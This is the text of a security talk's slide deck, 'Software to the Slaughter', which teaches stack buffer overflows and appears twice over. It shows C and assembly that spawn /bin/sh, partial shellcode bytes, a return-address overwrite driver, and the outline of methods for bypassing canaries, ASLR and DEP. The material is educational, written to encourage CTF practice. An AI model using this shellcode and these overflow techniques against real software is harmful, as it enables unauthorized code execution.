Software to the Slaughter 
Shane Wilton
Who am I?
TL;DR I hack stuff.
Agenda 
1. Anatomy of a stack 
2. Smashing it 
3. Real (wo)men program 
in shellcode 
4. Canaries, DEP, and 
ASLR, oh my! 
5. Hack the planet.
WTF is a stack?!? 
● Three types of memory regions: 
a. Text 
 Program code, read-only 
b. Data 
 Static variables 
 The heap 
c. Stack 
 Where the magic happens
Data Structures 101 - Stacks 
● An abstract data type with two operations 
o PUSH - Adds an element to the start of a collection 
o POP - Removes an element from the end of a 
collection 
● Last-In-First-Out 
o Imagine a stack of paper
...and that’s useful because? 
● Used to implement 
functions at a low-level 
● Returning from 
procedures, 
passing arguments, 
etc
Calling a Function 
void foo(int a, int b) { 
char buffer[10]; 
} 
void main() { 
foo(1, 2); 
} 
● Push the arguments 
onto the stack, in 
reverse order 
● Push the instruction 
pointer onto the stack 
● Allocate space for the 
variables in foo
Calling a Function 
pushl $2 
pushl $1 
call func 
… 
pushl %ebp 
movl %esp, %ebp 
subl $12, %esp 
SP 
Heap
Calling a Function 
pushl $2 
pushl $1 
call func 
… 
pushl %ebp 
movl %esp, %ebp 
subl $12, %esp 
2 
SP 
Heap
Calling a Function 
pushl $2 
pushl $1 
call func 
… 
pushl %ebp 
movl %esp, %ebp 
subl $12, %esp 
1 
2 
SP 
Heap
Calling a Function 
pushl $2 
pushl $1 
call func 
… 
pushl %ebp 
movl %esp, %ebp 
subl $12, %esp 
Return Address (EIP) 
1 
2 
SP 
Heap
Calling a Function 
pushl $2 
pushl $1 
call func 
… 
pushl %ebp 
movl %esp, %ebp 
subl $12, %esp 
Old Frame Pointer (EBP) 
Return Address (EIP) 
1 
2 
SP 
Heap
Calling a Function 
pushl $2 
pushl $1 
call func 
… 
pushl %ebp 
movl %esp, %ebp 
subl $12, %esp 
Old Frame Pointer (EBP) 
Return Address (EIP) 
1 
2 
SP and FP 
Heap
Calling a Function 
pushl $2 
pushl $1 
call func 
… 
pushl %ebp 
movl %esp, %ebp 
subl $12, %esp 
Old Frame Pointer (EBP) 
Return Address (EIP) 
1 
2 
FP 
12-Byte Buffer 
SP 
Heap
Returning From a Function 
1. POP the old frame 
pointer off FP 
2. Set SP to this 
value 
3. POP the return 
address off the 
stack 
4. Jump to this address 
Old Frame Pointer (EBP) 
Return Address (EIP) 
1 
2 
FP 
12-Byte Buffer 
SP 
Heap
What does this mean? 
● If unchecked, the buffer can overrun into the rest of the 
stack! 
● Buffer overflow attack 
o Overwrite return address 
o Overwrite local variables 
o Own the system. 
● What if we fill the buffer with: 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA….
Segmentation Fault! 
Heap 
12-Byte Buffer 
Old Frame Pointer (EBP) 
Return Address (EIP) 
1 
2 
Heap 
0x41414141 
0x41414141 
0x41414141 
0x41414141 
0x41414141 
0x41414141 
0x41414141
Returning Fr- wait what? 
void bar() { 
printf(“Hack the North!”); 
} 
void foo(int a, int b) { 
char buffer[10]; 
int *ret; 
ret = buffer + 12; 
(*ret) = &bar; 
} 
● foo overwrites an 
address after the buffer 
to point to bar 
● We just overwrote foo’s 
return address! 
● An attacker can use this 
for evil. 
o Assume the buffer is filled with 
unchecked user input
Shellcode, or How I learned to Stop Worrying and Love the Compiler 
● By overwriting the return address, we can run any code 
in the program 
o What if the code we want isn’t in the program? 
o Add it! Put our code in the buffer, and jump to it 
● We need bytecode that will spawn a shell - shellcode!
Putting the ‘C” in Shellcode 
#include <stdio.h> 
void main() { 
char *name[2]; 
name[0] = "/bin/sh"; 
name[1] = NULL; 
execve(name[0], name, NULL); 
} 
$ gcc -o shellcode -ggdb -static shellcode.c 
$ gdb shellcode 
$ disassemble main 
0x8000130 <main>: pushl %ebp 
0x8000131 <main+1>: movl %esp,%ebp 
0x8000133 <main+3>: subl $0x8,%esp 
0x8000136 <main+6>: movl $0x80027b8,0xfffffff8(%ebp) 
0x800013d <main+13>: movl $0x0,0xfffffffc(%ebp) 
0x8000144 <main+20>: pushl $0x0 
0x8000146 <main+22>: leal 0xfffffff8(%ebp),%eax 
0x8000149 <main+25>: pushl %eax 
0x800014a <main+26>: movl 0xfffffff8(%ebp),%eax 
0x800014d <main+29>: pushl %eax 
0x800014e <main+30>: call 0x80002bc <__execve> 
0x8000153 <main+35>: addl $0xc,%esp 
0x8000156 <main+38>: movl %ebp,%esp 
0x8000158 <main+40>: popl %ebp 
0x8000159 <main+41>: ret
WTF does that mean? 
0x8000130 <main>: pushl %ebp 
0x8000131 <main+1>: movl %esp,%ebp 
0x8000133 <main+3>: subl $0x8,%esp 
0x8000136 <main+6>: movl $0x80027b8,0xfffffff8(%ebp) 
0x800013d <main+13>: movl $0x0,0xfffffffc(%ebp) 
0x8000144 <main+20>: pushl $0x0 
0x8000146 <main+22>: leal 0xfffffff8(%ebp),%eax 
0x8000149 <main+25>: pushl %eax 
0x800014a <main+26>: movl 0xfffffff8(%ebp),%eax 
0x800014d <main+29>: pushl %eax 
0x800014e <main+30>: call 0x80002bc <__execve> 
0x8000153 <main+35>: addl $0xc,%esp 
0x8000156 <main+38>: movl %ebp,%esp 
0x8000158 <main+40>: popl %ebp 
0x8000159 <main+41>: ret 
0x8000130 <main>: Save the frame pointer 
0x8000131 <main+1>: Move the stack pointer 
0x8000133 <main+3>: Allocate space for the ‘name’ buffer 
0x8000136 <main+6>: Copy the address of “/bin/sh” into the 
buffer 
0x800013d <main+13>: Copy NULL into the buffer 
0x8000144 <main+20>: Push NULL onto the stack 
0x8000146 <main+22>: Load the address of our buffer into EAX 
0x8000149 <main+25>: Push that address onto the stack 
0x800014a <main+26>: Load the address of ‘/bin/sh’ into EAX 
0x800014d <main+29>: Push that address onto the stack 
0x800014e <main+30>: Call execve
And now for execve... 
● Disassemble execve too 
● Not going to show it here, but go through the same 
process. 
● We need… 
o EAX = 0xB 
o ECX points to “/bin/sh” 
o EDX points to NULL 
● Then call “int $0x80”
Let’s write that in assembly... 
jmp 0x2a 
popl %esi 
movl %esi,0x8(%esi) 
movb $0x0,0x7(%esi) 
movl $0x0,0xc(%esi) 
movl $0xb,%eax 
movl %esi,%ebx 
leal 0x8(%esi),%ecx 
leal 0xc(%esi),%edx 
int $0x80 
.string "/bin/sh" 
● Compile this with 
NASM, and grab the 
hexadecimal 
representation… 
● xebx2ax5ex89x76 
x08xc6x46x07x00 
xc7x46x0cx00x00 
x00… etc 
● Watch this.
Shellcoder? I hardly know her! 
char shellcode[] = <our shellcode>; 
void main() { 
int *ret; 
ret = (int *)&ret + 2; 
(*ret) = (int)shellcode; 
} 
shane $ gcc -o sc sc.c 
shane $ ./sc 
$ exit 
shane $
Putting It Together 
● Find a buffer 
overflow 
● Find a way of 
exploiting it 
● Fill some buffer 
with shellcode 
● Use your overflow 
to jump to it
It’s not that easy. 
● Nowadays, operating systems are smarter than that 
● Shellcode restrictions 
o No NULL bytes allowed 
o Only alphanumeric characters, etc 
● Stack Canaries 
● Address Space Layout Randomization 
● Data Execution Prevention 
● We can defeat all of these methods.
Stack Canaries 
● Essentially checksums 
● Placed after a buffer 
o Overflowing the buffer will overwrite the canary 
o If the canary is wrong, handle the overflow 
● Generated by the compiler. 
● Use another exploit to leak memory 
o printf format string exploits for example
ASLR 
● At runtime, randomize the positions of 
important memory regions 
o The stack, the heap, data segment, etc 
● Like stack canaries, need a memory leak to 
bypass 
o Leak the address of a buffer 
o Create a NOP-sled and guess 
o Plenty of techniques
Data Execution Prevention 
● Mark memory segments as either writable or 
executable 
o Never both! 
● We can’t put our shellcode on the stack 
anymore. 
● Use return-oriented programming
Return-Oriented Programming 
● Construct our payload entirely of “Gadgets” 
found in the existing codes 
o Sub-sequences of assembly found at the end of 
existing functions 
● Chain them together by overwriting return 
addresses on the stack 
● Always possible!*
Nothing is Safe. 
● Exploit development is hard. 
o Really hard. 
o Target architectures you’ve never used before 
o Fail cleanly to avoid detection 
● But! 
o No protection is infallible 
o It’s fun. Like, really fun. More on this later.
You Can (and should) do it! 
● Capture the Flag - competitive hacking 
o The hackathons of security 
o There’s always one going on 
 CSAW is running right now, it’s for college 
students with no security experience 
● Incredibly fun problems. 
o For example...
Polyglot 
● Write an exploit 
that will run on four 
machines 
o x86 
o ARM Little-Endian 
o ARM Big-Endian 
o PowerPC 
● Insane implications 
for the internet of 
things 
● Read my talk on 
solving it with graph 
theory
Getting Started 
● Micro Corruption - a 20 problem CTF built by 
Square and Matasano Security for teaching 
exploit development 
● Compete! Right now! Seriously, this 
weekend! 
o CSAW - You can solve some of these, I promise.

Software to the slaughter

  • 1.
    Software to theSlaughter Shane Wilton
  • 2.
  • 3.
  • 4.
    Agenda 1. Anatomyof a stack 2. Smashing it 3. Real (wo)men program in shellcode 4. Canaries, DEP, and ASLR, oh my! 5. Hack the planet.
  • 5.
    WTF is astack?!? ● Three types of memory regions: a. Text  Program code, read-only b. Data  Static variables  The heap c. Stack  Where the magic happens
  • 6.
    Data Structures 101- Stacks ● An abstract data type with two operations o PUSH - Adds an element to the start of a collection o POP - Removes an element from the end of a collection ● Last-In-First-Out o Imagine a stack of paper
  • 7.
    ...and that’s usefulbecause? ● Used to implement functions at a low-level ● Returning from procedures, passing arguments, etc
  • 8.
    Calling a Function void foo(int a, int b) { char buffer[10]; } void main() { foo(1, 2); } ● Push the arguments onto the stack, in reverse order ● Push the instruction pointer onto the stack ● Allocate space for the variables in foo
  • 9.
    Calling a Function pushl $2 pushl $1 call func … pushl %ebp movl %esp, %ebp subl $12, %esp SP Heap
  • 10.
    Calling a Function pushl $2 pushl $1 call func … pushl %ebp movl %esp, %ebp subl $12, %esp 2 SP Heap
  • 11.
    Calling a Function pushl $2 pushl $1 call func … pushl %ebp movl %esp, %ebp subl $12, %esp 1 2 SP Heap
  • 12.
    Calling a Function pushl $2 pushl $1 call func … pushl %ebp movl %esp, %ebp subl $12, %esp Return Address (EIP) 1 2 SP Heap
  • 13.
    Calling a Function pushl $2 pushl $1 call func … pushl %ebp movl %esp, %ebp subl $12, %esp Old Frame Pointer (EBP) Return Address (EIP) 1 2 SP Heap
  • 14.
    Calling a Function pushl $2 pushl $1 call func … pushl %ebp movl %esp, %ebp subl $12, %esp Old Frame Pointer (EBP) Return Address (EIP) 1 2 SP and FP Heap
  • 15.
    Calling a Function pushl $2 pushl $1 call func … pushl %ebp movl %esp, %ebp subl $12, %esp Old Frame Pointer (EBP) Return Address (EIP) 1 2 FP 12-Byte Buffer SP Heap
  • 16.
    Returning From aFunction 1. POP the old frame pointer off FP 2. Set SP to this value 3. POP the return address off the stack 4. Jump to this address Old Frame Pointer (EBP) Return Address (EIP) 1 2 FP 12-Byte Buffer SP Heap
  • 17.
    What does thismean? ● If unchecked, the buffer can overrun into the rest of the stack! ● Buffer overflow attack o Overwrite return address o Overwrite local variables o Own the system. ● What if we fill the buffer with: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA….
  • 18.
    Segmentation Fault! Heap 12-Byte Buffer Old Frame Pointer (EBP) Return Address (EIP) 1 2 Heap 0x41414141 0x41414141 0x41414141 0x41414141 0x41414141 0x41414141 0x41414141
  • 19.
    Returning Fr- waitwhat? void bar() { printf(“Hack the North!”); } void foo(int a, int b) { char buffer[10]; int *ret; ret = buffer + 12; (*ret) = &bar; } ● foo overwrites an address after the buffer to point to bar ● We just overwrote foo’s return address! ● An attacker can use this for evil. o Assume the buffer is filled with unchecked user input
  • 20.
    Shellcode, or HowI learned to Stop Worrying and Love the Compiler ● By overwriting the return address, we can run any code in the program o What if the code we want isn’t in the program? o Add it! Put our code in the buffer, and jump to it ● We need bytecode that will spawn a shell - shellcode!
  • 21.
    Putting the ‘C”in Shellcode #include <stdio.h> void main() { char *name[2]; name[0] = "/bin/sh"; name[1] = NULL; execve(name[0], name, NULL); } $ gcc -o shellcode -ggdb -static shellcode.c $ gdb shellcode $ disassemble main 0x8000130 <main>: pushl %ebp 0x8000131 <main+1>: movl %esp,%ebp 0x8000133 <main+3>: subl $0x8,%esp 0x8000136 <main+6>: movl $0x80027b8,0xfffffff8(%ebp) 0x800013d <main+13>: movl $0x0,0xfffffffc(%ebp) 0x8000144 <main+20>: pushl $0x0 0x8000146 <main+22>: leal 0xfffffff8(%ebp),%eax 0x8000149 <main+25>: pushl %eax 0x800014a <main+26>: movl 0xfffffff8(%ebp),%eax 0x800014d <main+29>: pushl %eax 0x800014e <main+30>: call 0x80002bc <__execve> 0x8000153 <main+35>: addl $0xc,%esp 0x8000156 <main+38>: movl %ebp,%esp 0x8000158 <main+40>: popl %ebp 0x8000159 <main+41>: ret
  • 22.
    WTF does thatmean? 0x8000130 <main>: pushl %ebp 0x8000131 <main+1>: movl %esp,%ebp 0x8000133 <main+3>: subl $0x8,%esp 0x8000136 <main+6>: movl $0x80027b8,0xfffffff8(%ebp) 0x800013d <main+13>: movl $0x0,0xfffffffc(%ebp) 0x8000144 <main+20>: pushl $0x0 0x8000146 <main+22>: leal 0xfffffff8(%ebp),%eax 0x8000149 <main+25>: pushl %eax 0x800014a <main+26>: movl 0xfffffff8(%ebp),%eax 0x800014d <main+29>: pushl %eax 0x800014e <main+30>: call 0x80002bc <__execve> 0x8000153 <main+35>: addl $0xc,%esp 0x8000156 <main+38>: movl %ebp,%esp 0x8000158 <main+40>: popl %ebp 0x8000159 <main+41>: ret 0x8000130 <main>: Save the frame pointer 0x8000131 <main+1>: Move the stack pointer 0x8000133 <main+3>: Allocate space for the ‘name’ buffer 0x8000136 <main+6>: Copy the address of “/bin/sh” into the buffer 0x800013d <main+13>: Copy NULL into the buffer 0x8000144 <main+20>: Push NULL onto the stack 0x8000146 <main+22>: Load the address of our buffer into EAX 0x8000149 <main+25>: Push that address onto the stack 0x800014a <main+26>: Load the address of ‘/bin/sh’ into EAX 0x800014d <main+29>: Push that address onto the stack 0x800014e <main+30>: Call execve
  • 23.
    And now forexecve... ● Disassemble execve too ● Not going to show it here, but go through the same process. ● We need… o EAX = 0xB o ECX points to “/bin/sh” o EDX points to NULL ● Then call “int $0x80”
  • 24.
    Let’s write thatin assembly... jmp 0x2a popl %esi movl %esi,0x8(%esi) movb $0x0,0x7(%esi) movl $0x0,0xc(%esi) movl $0xb,%eax movl %esi,%ebx leal 0x8(%esi),%ecx leal 0xc(%esi),%edx int $0x80 .string "/bin/sh" ● Compile this with NASM, and grab the hexadecimal representation… ● xebx2ax5ex89x76 x08xc6x46x07x00 xc7x46x0cx00x00 x00… etc ● Watch this.
  • 25.
    Shellcoder? I hardlyknow her! char shellcode[] = <our shellcode>; void main() { int *ret; ret = (int *)&ret + 2; (*ret) = (int)shellcode; } shane $ gcc -o sc sc.c shane $ ./sc $ exit shane $
  • 26.
    Putting It Together ● Find a buffer overflow ● Find a way of exploiting it ● Fill some buffer with shellcode ● Use your overflow to jump to it
  • 27.
    It’s not thateasy. ● Nowadays, operating systems are smarter than that ● Shellcode restrictions o No NULL bytes allowed o Only alphanumeric characters, etc ● Stack Canaries ● Address Space Layout Randomization ● Data Execution Prevention ● We can defeat all of these methods.
  • 28.
    Stack Canaries ●Essentially checksums ● Placed after a buffer o Overflowing the buffer will overwrite the canary o If the canary is wrong, handle the overflow ● Generated by the compiler. ● Use another exploit to leak memory o printf format string exploits for example
  • 29.
    ASLR ● Atruntime, randomize the positions of important memory regions o The stack, the heap, data segment, etc ● Like stack canaries, need a memory leak to bypass o Leak the address of a buffer o Create a NOP-sled and guess o Plenty of techniques
  • 30.
    Data Execution Prevention ● Mark memory segments as either writable or executable o Never both! ● We can’t put our shellcode on the stack anymore. ● Use return-oriented programming
  • 31.
    Return-Oriented Programming ●Construct our payload entirely of “Gadgets” found in the existing codes o Sub-sequences of assembly found at the end of existing functions ● Chain them together by overwriting return addresses on the stack ● Always possible!*
  • 32.
    Nothing is Safe. ● Exploit development is hard. o Really hard. o Target architectures you’ve never used before o Fail cleanly to avoid detection ● But! o No protection is infallible o It’s fun. Like, really fun. More on this later.
  • 33.
    You Can (andshould) do it! ● Capture the Flag - competitive hacking o The hackathons of security o There’s always one going on  CSAW is running right now, it’s for college students with no security experience ● Incredibly fun problems. o For example...
  • 34.
    Polyglot ● Writean exploit that will run on four machines o x86 o ARM Little-Endian o ARM Big-Endian o PowerPC ● Insane implications for the internet of things ● Read my talk on solving it with graph theory
  • 35.
    Getting Started ●Micro Corruption - a 20 problem CTF built by Square and Matasano Security for teaching exploit development ● Compete! Right now! Seriously, this weekend! o CSAW - You can solve some of these, I promise.